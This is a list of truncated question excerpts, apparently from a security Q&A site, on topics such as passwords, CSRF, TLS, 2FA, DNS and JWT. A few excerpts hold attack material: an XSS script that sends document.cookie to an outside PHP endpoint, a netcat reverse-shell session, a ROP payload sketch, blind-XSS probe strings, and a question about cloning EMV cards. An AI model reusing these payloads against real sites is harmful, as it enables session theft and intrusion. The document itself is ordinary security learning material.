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I have received the following from Google:
Critical security alert
Suspicious attempt to sign in with your password
Google prevented someone who knows your password from signing in to your account. If this wasn’t you, you should change your password immediately.
As this wasn't me (I don't think) I'm slightly concerne... |
I am not a Security Expert by any means. Nor am I a Cryptographer. That's why I'm here.
After discovering that the server side of some software I work on was operating on plain text passwords (though I later determined that only the hash was stored in the database) I started researching into what parts along the way be... |
I am using SHA256 to create a hash. Output is captured as a text string (thus "A245B6FF") and that is what has been used to create the digital signature. Since the hash could have been captured as binary and the binary representation used to create the digital signature, which is more secure and is there a specific s... |
I recently signed up for a company's product, and promptly received an email confirming my registration, showing both my email address and my password. I'm not a security expert, but that was a huge red flag for me. Performed some google searches, I see nothing good about sending passwords as clear text. This includes ... |
I was on my work computer and clicked on one website, then it shows it's blocked. I've deleted history; will my employer/network admin see what I did?
|
When I create domain user account with denied interactive logon, what are real security risks when hacker gets the password?
http://paulasitblog.blogspot.com/2017/01/deny-interactive-logon-for-service.html
Computer Configuration / Windows Settings / Security Settings / Local
Policies / User Rights Assignment
Deny log ... |
I was wondering how Firefox Lockwise is able to securely encrypt and decrypt saved logins across devices without using a primary password? As far as I understand, regardless of whether an encryption algorithm is symmetric or asymmetric, a private key is necessary to encrypt and decrypt the data. For instance, I could i... |
We have a .Net WebForms-based website, hosted on IIS10 behind HAProxy on pfSense. We've performed many vulnerability scans and penetration tests on the site over the years, with only minor issues ever discovered and mitigated.
This week, one of our customers has run a scan and reported that the site has an apparent SQL... |
If my Content-Security-Policy is set to the following:
Content-Security-Policy: frame-ancestors 'self'
Does it also imply:
Content-Security-Policy: default-src 'self'
Or is it a lot safer to put both rules?
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'
Updated, as mentioned by AlphaD in a com... |
Is there a way to check if someone is trying to login to my Gmail account without knowing the password (so they keep trying to guess the password and failing repeatedly or trying to guess the answers of account recovery) as opposed to trying to login and getting the password right? (I know Gmail warns you when that hap... |
My organization recently added F5 SSL Orchestrator to our network that ended up breaking one of our SSL certs. There is an explanation of how SSL Orchestrator works from F5 here. The description from F5 explains that encrypted SSL traffic is decrypted and inspected for malicious traffic and then re-encrypted and sent... |
Why don't some services offer Google/Facebook/Apple/Twitter login? Namely Crypto exchanges.
I assume they want as many users as possible & this is a great way to get more. Is there some sort of security vulnerability associated with them?
Edit: For Google & Apple login since both offer email services (gmail & icloud), ... |
If a DNS sniffer/spoofer is running on a network using something like netwag/netwox, how does the sniffer see the request that is destined for the real DNS server?
Wouldn't the packets for the DNS request be routed only to the DNS server? Why would they be broadcast to other addresses on the network so that the sniffe... |
If a credit card or debit card has a emv chip can it be successfully cloned onto a credit or debit card that does not possess a emv chip
If so how does that work and will the ATM accept it
|
I was reading up on the usage of CSRF tokens at https://portswigger.net/web-security/csrf/tokens and one section mentioned it should be transmitted to the client in a hidden field in a HTML form.
How about guidelines on how the client transmits it back to the server? I suppose it should be ok to put it in either GET or... |
The app is divided into two parts, the fronted - written with the Angular framework and the backend, simple PHP files which handle the login, API calls, etc.
My current flow is the following:
User creates an account/login. Credentials are sent in plaintext through HTTPS.
Credentials are being checked against the datab... |
recently I had a look at the capabilities of the Java keytool to create PKCS#12 containers with a protected private key. According to the standard a private key is protected using a PKCS#8 shrouded key bag applying a PKCS#5 password-based encryption. I could not find any restrictions on the applicable algorithms in the... |
We have a web service where GET is always safe and all unsafe POST requests use single-use CSRF tokens. We have some cases where cross-origin domain would need to pass us POST request with data that should be used with currently active user session (top-level cross-site POST) so we need the session cookie while handlin... |
I want to store information on the blockchain, but some part of it is private and must be available to selected clients (for example, users who belong to a common company)
How can this be done?
The only thing that comes to my mind is to encrypt the data. Thus, clients who have a private key will be able to read it. But... |
Is there a point to using DoT or DoH while your DNS is your ISP from a security (not privacy) standpoint?
Assuming I trust my home network, could there be something along the way between my ISP and me that MitM (or some other attack?) me?
If this is possible, is there a record of such an attack taking place?
|
My computer (probably) had malware, and during that time I connected my phone to it (via USB) for transferring files, using as midi, etc. Is there a chance the malware could've spread from the computer to my phone? I don't see any scam popups or unusual logins.
|
I know that even with DoT or DoH the target of the connection is leaked due to the use of SNI in the client hello (and that ESNI/ECH are proposed solutions), but what I can't figure out is does SNI get used 100% of the time (assuming a TLS connection)?
If it's not 100% of the time, then when does it or doesn't it get u... |
I'm working on a small game website and don't expect too much traffic.
Would md5(time . rand) suffice to have a "random enough" identifier for a game?
(Or is it easy to get a clash that way?)
|
I want to become a cybersecurity engineer. Currently, I have a good knowledge of pentesting, programming(python, c++, bash, batch, powershell), networking, firewalls but something come to my mind. Where do I start to actually become a cybersecurity engineer? Right now I'm on my first job at a helpdesk in Brazil, but I ... |
Background information:
I am a manager of a SaaS CRM application for a highly competitive industry.
We have a large number of users who utilize our platform as the back-end of their business.
It was brought to my attention that my company was considering offering some clients the ability to purchase/license a copy of o... |
I am using PBKDF2 on NodeJS to authenticate a user who submits username & password. To do this, when the user first registers, I generate a salt, I use 200000 iterations, I specify a key length of 32 bytes, and I use sha256 as the digest method. With the output of that operation, I store a serialized JSON object contai... |
So suppose I don't have a phone (or lose it), and I need to do 2fa on an app. I DO always have access to a few email accounts, but I can't seem to find any tricks to have the 2fa go through an email address instead. Results very hard to sift through.
|
I wouldn't have thought that certificates could be used to track my history, I thought they were essentially login credentials, but I installed some to use my Uni wifi and now my google pixel 3 has a warning that says "Network may be monitored", even when I'm at home and not using the uni wifi. Can they see what I'm do... |
While doing some encryption work on drives I found that BitLocker keeps making these "recovery keys". No other encryption software I used did that so it annoyed me and made me biased perhaps.
While laboring with safe storage of these "recovery keys", I suddenly realized how small they looked and now I started suspectin... |
Most common email services don't allow to attach file like exe files, or similar files that may contain security threats to a computer.
This can be bugging for users, but I can understand that, in general, the benefits are likely to outweight the damages.
But what I don't get is that it's forbidden to send a dangerous ... |
Let's assume we have symmetric crypto with the same IV for each operation.
From my perspective, encrypting the whole archive is better, as similar strings are compacted and the CBC will work for us even if there are same regions.
Encrypting the individual files, however, will produce ciphertext with the same starting s... |
We're having an internal debate within the NHS organisation I work for, around securing admin usernames. Our usernames are generally based on our names (e.g. tom jones username = tojo0001). Admin usernames are based on the low-level account (e.g. tom jones admin = a.tojo0001).
Some of the team want to randomise admin u... |
I am an Open Banking enthusiast and I'm studying the Berlin Group's XS2A framework these days. There, it has an error code called CERTIFICATE_BLOCKED. As the description of it, it states,
"Signature/corporate seal certificate has been blocked by the ASPSP or
the related NCA."
What I need to understand is what is the ... |
Now that I've purchased and programmed a couple of YubiKeys, I have a question about the security and usefulness of such security keys.
Assume in the following scenarios that one's username is easily guessed. For most professional cloud accounts, the u/n is the user's e-mail address.
With 2FA, an authenticator app on a... |
Several answers on StackOverflow suggest that a C# object can be passed to JavaScript in ASP.NET MVC by the following:
<script type="text/javascript">
var obj = @Html.Raw(Json.Encode(Model));
</script>
This is vulnerable to XSS. If any variable in the model contains </script>, this isn't encoded by JSON.Encode, an... |
I recently learned about DOSBox-X. It's basically a somewhat less awful version of the basically-abandoned DOSBox.
I currently have it installed inside a Windows 10 VM inside of my Windows 10 bare metal PC. It's the only computer I have. If I could afford it and had the physical space, I would set up a real classic PC ... |
Sometimes there are links on the email you have to click because they are agrements, but they are coming from a different URL. As of now what I'm doing is opening a private window and pasting the link there. Would this be an effective anti-phishing mechanism? Or can you still get hacked?
The reason behind my thinking o... |
This is an edge case, and as soon as multiple users are accessing the AWS Console in anyway, IAM is the only good option, but what if you only have one user?
I've always assumed that if only one person is accessing the account, and they need full privileges, then making a second account (IAM user) with full privileges ... |
Is traditional CSRF PoC (e.g. described here) effective for testing in this environment
Specifically if PoC only involved one account - of course, given presence of ADFS SSO...so not counting the final 3 steps described above.
|
I recently acquired this novel credit card which brags about being super secure for not having printed the security numbers on the physical card.
Then, when my physical card package arrive I notice it has some signs of manipulation. I asked the company to provide me with another credit card, and they told me what I sta... |
In Thunderbird (a popular open source email client), there is an extension store similar to Mozilla Firefox which adds further functionality to the client. Mozilla has an article detailing the security and safety of Firefox extensions (see Tips for assessing the safety of an extension). They state:
When a developer su... |
I have an API hosted on Amazon API Gateway. When running a security scan of it using https://www.ssllabs.com/ it reports back warnings concerning weak cipher suites for TLS 1.2 (see below).
Are these warnings a valid concern and if so how can I mitigate them?
|
Firstly, i'm not a mail expert! My workplace owns the domain example.com, until recently we had an application hosted on the LAN that worked fine and sent emails from info@example.com to various internal and external recipients using smtp configuration on the application.
Recently we moved this application to an extern... |
The bus company that I use (Arriva UK) is trying to persuade passengers to switch from buying paper tickets to tickets stored on their app. They are particularly pushing this for 'bus passes': tickets that allow you to take any bus in a given area for a week, 4 weeks or 1 year.
Passes must be purchased in advance and a... |
I might be completely making this up as a solution or even feasible.
I have a situation where a cookie exists for a browser/user/tab. In the background, while the user is viewing a page a request is made regularly to the backend. The cookie is passed as part of this flow.
The backend updates the cookies content each ti... |
I've noticed that many services and/or platforms now send 6 digit codes to verify user actions. Typically sent to an email. With these being 6 digits long & assuming that you get at least 3 tries to enter there's a 1 in 333,333 chance that a malicious user could correctly guess the digits.
Seems low to me. Is this enou... |
I'm confused now about how the order is set up for the ROP chain.
Let's say we'd like to make a chain below
in C:
open("myfile", O_RDONLY);
read(3, buf, 100);
in payload:
p32(OPEN_ADDR)
p32(PPR) # pop pop ret
p32(FILE_ADDR_BUF)
p32(0)
p32(READ_ADDR)
p32(PPPR)
p32(3)
p32(BUF)
p32(1024)
p32(0xdeadbeef)
OPEN_ADDR is t... |
For a given publisher of docker images on Docker Hub (let's say debian), how do I download their root release/image signing key and verify its authenticity from multiple sources out-of-band from each-other?
Though it doesn't appear to be covered in the official docker documentation, this answer explains how to pin a gi... |
I've seen conflicting opinions on this, more than the below, but i.e.
Unsafe: https://www.techrepublic.com/article/why-you-should-never-allow-your-web-browser-to-save-your-passwords/
Safe: https://cybersecuritymagazine.com/8-reasons-to-use-google-password-manager/
Also this older question, closed as unfocused, and basi... |
I'm using php, but the general question applies to any confirmed cryptographically secure pseudo-random string concatenated with a non-cryptographically secure string.
I know random_bytes generates a cryptographically secure string
I know converting with bin2hex results in a usable cryptographically secure string
But w... |
I have written lots of client-side code but with no server-side experience, and I am planning to get a VPS for a new project. The VPS will receive encrypted data directly from a distributed program wrote by me, and I won't bind the VPS with a domain name, and the VPS won't run everything else, like http and ftp.
Howeve... |
This post seems on point but I didn't understand the answer enough to answer this question.
Intel's vPro offers "Total Memory Encryption" (TME), which encrypts RAM and system bus data while the computer is on. Does TME encryption improve the security of a computer when its screen is locked? That is, if the computer has... |
I'm developing a platform that has 2 parts:
An API written using Laravel, that integrates with the database and provided data in a restful state.
Multiple fronts that connect to the API and perform different tasks.
Laravel suggests that you should use their built-in cookie-based sessions to implement your app, but fo... |
I recently noticed a huge amount of downloads made through my IP (iknowwhatyoudownload.com). On the website abuseipdb.com, I discovered some reports of abusive behavior.
So I started an investigation with other users of my ISP and found out that everyone has the same problem. I found everyone's IP on public proxy serve... |
Adam always reads his e-mails on Sundays around 5 pm. This Saturday,
at 11 am, he accessed his inbox. Which will generate a false positive?
Source slide 10/41
Misuse-based IDS or anomaly-based IDS? IMO the answer should be anomaly-based IDS as it gives alerts on anomalies. Whereas misuse-based or signature-based IDS ... |
A file transfer tool, that works through a middle man server, as the following diagram:
Client A uploads a file to the server, Client B has websocket events that a file is transferring and starts downloading available chunks of the given file.
I would like to encrypt the files without letting the server ever know the ... |
I don't seem to find the option to save symmetric keys. What I want to do is that I simply want to encrypt a file and transfer the file and the symmetric key (which is encrypted with the recipients public key). But so far I have not found any way to actually access the key file for symmetric keys. Do you know how I can... |
My reverse shell is exiting when i lsten it with netcat: here is netcat output:
listening on [any] 5555 ...
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ ... |
Can my ISP see the difference between sending messages, making video call, and simply engaging with communities - building on traffic types?
|
Consider a scenario in which you offer service access based on a hierarchy of authority. i.e., a HEAD can register his subordinates. The authenticated HEAD has the previledge to read and update data from all of his subordinates. Is there an authorization standard or pattern that relates to this scenario?
Different role... |
In all my Googling, I found one version of FireFox that allowed it temporarily a long time ago, it has been discussed on the Chromium development forums for years, but yet, as of today, there is still no way for an end user to view and/or manipulate SSL information via an extension, add-on, or browser plugin.
Why?
Are ... |
I recently was dumbfounded by a question whether identity theft protection services can get hacked. Me and my family we're T-Mobile customers in the US and after the recent T-Mobile hack we got free Identity Theft Protection from McAfee for two years.
Now I was setting this up for my family and when I was entering all... |
I need to execute AVB (Android verified boot) during first boot after updating Android OS. BOARD_AVB_ENABLE = true is already present in the mk file device/hikey/common/BoardConfigCommon.mk in the external/AVB folder.
I want to know how to check if it is detected normally or not.
|
When running PINENTRY_USER_DATA="foo" gpg --change-pin in bash, how easy is it for other processes to capture “foo”?
|
On my Windows 10 machine, I run mitmproxy on localhost:8080. I've changed the system proxy setting to point to my local proxy server.
Apart from what I expect to see, I can also see the following HEAD requests:
Typically, the headers look like this:
It looks the same for every request, just the Host header changes.
W... |
The scenario
An app on iOS has to perform an HTTPS connection, validating the server's TLS certificate against a root CA of a custom PKI.
The target
Android seems to have best-practice procedures to handle this: one can ship the CA certificates with the app, and even configure pinning declaratively.
The questions
I hav... |
Suppose I was able to bypass CSRF check. I was able to forge any GET request and make it look like it was issued by the user himself. Is the web application vulnerable to somehow to 'Client-side' Request Forgery attack ? How may I exploit that ? knowing that I could not find any GET changing state request. Any idea pl... |
I need to encrypt personal data like email, phone number, etc. I am using AWS KMS for managing the encryption keys. This is the system that is already implemented is as follows:
All the existing data is encrypted using a worker which first generates a data key by calling the aws-sdk. This call returns the plaintext(de... |
I've seen quite a few security centric sites enforce this policy:
Your username can only be changed once
My question is: Is this done from a security standpoint? If yes, what is the logic behind it? My initial impression is that once you sign up your original username (and any other username you choose in the future)... |
Recently I was thinking of the feasibility of hardware backdoors in the CPU introduced by manufacturers at the behest of three letter agencies. I can think of two potential backdoors that seem extremely powerful, but want to see if they would be practical.
The first backdoor would be a god-mode privilege execution back... |
From my reading I understand that USB keys (for example Yubikeys) are more secure than OTP authentication apps (such as Google Authenticator). The primary reason is that FIDO is done without human interaction so it's not susceptible to social engineering or phishing attacks. Also, it connects with the service provider ... |
For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (more precisely Bachelor-level IT security courses).
This year, I set up a Windows VM from an x86 1803 ISO, installed Fi... |
Consider the following DNS setup of example.com:
A 89.41.169.49 # this is for redirect.pizza
CAA 0 issue "letsencrypt.org"
www CNAME ghs.googlehosted.com
If I have understood correctly everything I read (in particular, https://serverfault.com/q/885952/), the CAA for www.exam... |
I'm trying to configure a
SecAction rule to help me tune ModSecurity 3 following this How to tune your WAF installation to reduce false positives tutorial, but the rule seems to be ignored and the msg is not printed either on access.log or error.log.
SecAction \
"id:980145,\
phase:5,\
pass,\
t:none,\
... |
For an individual, I see a some options for storing private keys, such as printing them on paper in a vault, using a hardware wallet,
encrypting and storing on the machine, using AWS Secret Manager, and so on.
However, I have a need to create a few accounts for a firm (maybe using metamask),
and I'm not quite sure what... |
I need to provide security requirements for public API keys that will be generated by a web application and then used in automation scripts by clients.
The scripts will be run on the endpoints several times a day via a cronjob.
The risk of a key exposure is very high since whoever steals these scripts, will be able to ... |
When users are entering a new passphrase somewhere, it's helpful to provide feedback on the number of characters received by the system.
In a user experience (UX) test I just ran, my user created a passphrase in her password manager, and then attempted to paste it into the new passphrase prompt in the terminal. But b... |
They say a chain is only as secure as its weakest link. When it comes to account security it seems to me that the Forgot My Password functionality is the weakest link in the security chain because it only requires an attacker to gain access to a users email account to compromise his online account. It circumvents every... |
Windows Subsystem for Linux (version 2) is getting more and more traction lately with new features being added such as GUI mode over Wayland (WSLg). It seems to me Microsoft really pushes for WSL usage, however, I am worried about the underlying security.
I have read several articles which put me into panic mode.
Runni... |
We use JWT tokens in our Rest API(Bank API) authentication with a normal payload like:
{
"user_id": "cdda338f-50e2-4e14-9f84-33b8a158db9f",
"tenant_id": "cdda338f-50e2-4e14-9f84-33b8a158db9e",
// other jwt claims
}
However the security team thinks this is insecure and that we should replace the field names with ... |
Is it possible to mask my IMEI on my device? I know the government is used to track the phones via IMEI. I am interested in just blocking carriers/providers to view my IMEI when I am having an issue with the phones or an employee views my account. Is this possible?
|
I can't seem to find any record of SPF or DMARC in the original messages coming from gmail to my mail server.
Does gmail use SPF or DMARC when sending messages outside of gmail?
|
tl;dr: In certificate based SSH authorization, is there any benefit to keeping host certificates lifespan short? Do you gain anything by renewing them periodically?
Full Story
Recently I have been exploring SSH access through certificates, as opposed to the traditional means of access through public key authentication.... |
We are using a PIV smartcard that has biometric information (fingerprint) of the user encoded on the card to login into our application. We have the capability to read the fingerprint from a reader and extract and build the minutiae data from it for the on-card comparison.
During the encoding of the card, all the 10 fi... |
On a penetration test, I have completely compromised a Linux machine and I am now trying to move around the network. The Linux machine has a mounted CIFS share, and I want to get the password used to connect to that share, because I think that password might be used elsewhere. My question is, where is the password or p... |
I recently came across a source code where they save a user's refresh token and the access token upon sign in through Google into the database. This is done to access the Google APIs later on through the server.
My question is, isn't this insecure? This is like storing the passwords plaintext in the database. If the da... |
Why are people so quick to criticize Plaid for using login info when trusted apps like Mint do the same thing? They require username and password for bank info, but seem to be trusted. I wanted to use Plaid to build my own fintech app but was concerned about the raised privacy concerns so want to better understand why ... |
I stumbled upon some strange entries in our PHP sessions, they look like this:
PHPREDIS_SESSION:${9923XXXXX+99XXXXXX} (<- I have changed some digits to 'X')
PHPREDIS_SESSION:http://hitbXXXXXXXXXXX.bxss.me/ (<- I have changed some letters to 'X')
Presumably, someone is trying something.
How do these entries get injected... |
Could someone get the real IP address that is hidden behind the URL generated by tools like ngrok, localtunnel or serveo?
|
I am trying to achieve better security in my authentication system implementation with both server-side hashing and client-side hashing. (See the first reference below for more prerequisite knowledge.)
As I understand it:
Client-side hashing prevents hackers from getting a user's plaintext password and using it for ot... |
I'm undergoing postgrad studying and will be asked to do an online exam monitored by ProctorU. I didn't worry much about it before signing up but now that I read the detailed instructions about how the plugins work during the exam it looks deeply concerning to me.
To me ProctorU just looks like legit spyware the Univer... |
Standard Password
When I create an account somewhere, like let's say a crypto exchange, I'm forced to choose a username and a strong password. Let's say I choose:
username: thirdratecoder
password: someLongPasswordWithMixedCaseAndTheNumber555_*&
Now, that's a pretty obscure password and no one would likely guess it. I... |
I want to buy a smart card to store a gpg private key (I have never used any before).
However all options seem quite expensive. If you look for ISO 7816 in AliExpress there are much more affordable options. Same thing for Java cards.
Can I use this for gnupg? Is this relatively easy to do? I don't see anyone doing this... |
Open redirects showed up in the news this week thanks to Microsoft. While this is very old issue, this is a new topic for me. The concern seems to be that a user hovering over a link may not read beyond the domain name. In the following example, the user reads as far as example.com, and assumes the domain is safe, w... |
Problem: Someone has acquired a copy of Company X's application and is reverse engineering it on his network using a debugger. How can Company X possibly detect this activity?
Further Questions:
Is there a way we can be notified when someone tries to disassemble the application?
Is there a way to lock disassembling al... |
I was reading this response on SE about 2FA:
Well, I hate to break this to you, but Google Authenticator plus
password isn't really two-factor authentication. Proper 2FA is two
separate items out of traditionally the triad "something you have"
(physical item, which may itself hold a secret), "something you know"
(secr... |
What does it mean when an obvious scam e-mail, possibly "mere" phishing, includes in (whatever we call its signing-off small-print) what looks like a pointless list of dozens, perhaps hundreds of random words that are not, for instance, tags, as below?
Here, the yellow part seems both to make sense, and to have nothing... |
I've read several times that many HSMs support configurable rate limiting on cryptographic operations, as a way of protecting against a hacker that compromises a server that has access to the HSM. So if a hacker compromised a server and then attempted to send one million requests to the HSM over the course of an hour (... |
I'm trying to do an XSS attack test on a website.
I am using " and <> just fine and I have managed to escape the string. Now I'm trying to send my own cookie to my server that saves it to a txt file.
I inject this code to send the cookie:
<script>document.location='http://khodrochi.unaux.com/khodrochi.php?x='+document.... |
There is a lot of literature out there about this, and I've read many of it, but one question I couldn't rectify is this. Consider this quote from netsparker.com:
Reflected unkeyed headers:
If the application directly reflects the value of a certain unkeyed header in the response, it opens an easy avenue to cache pois... |
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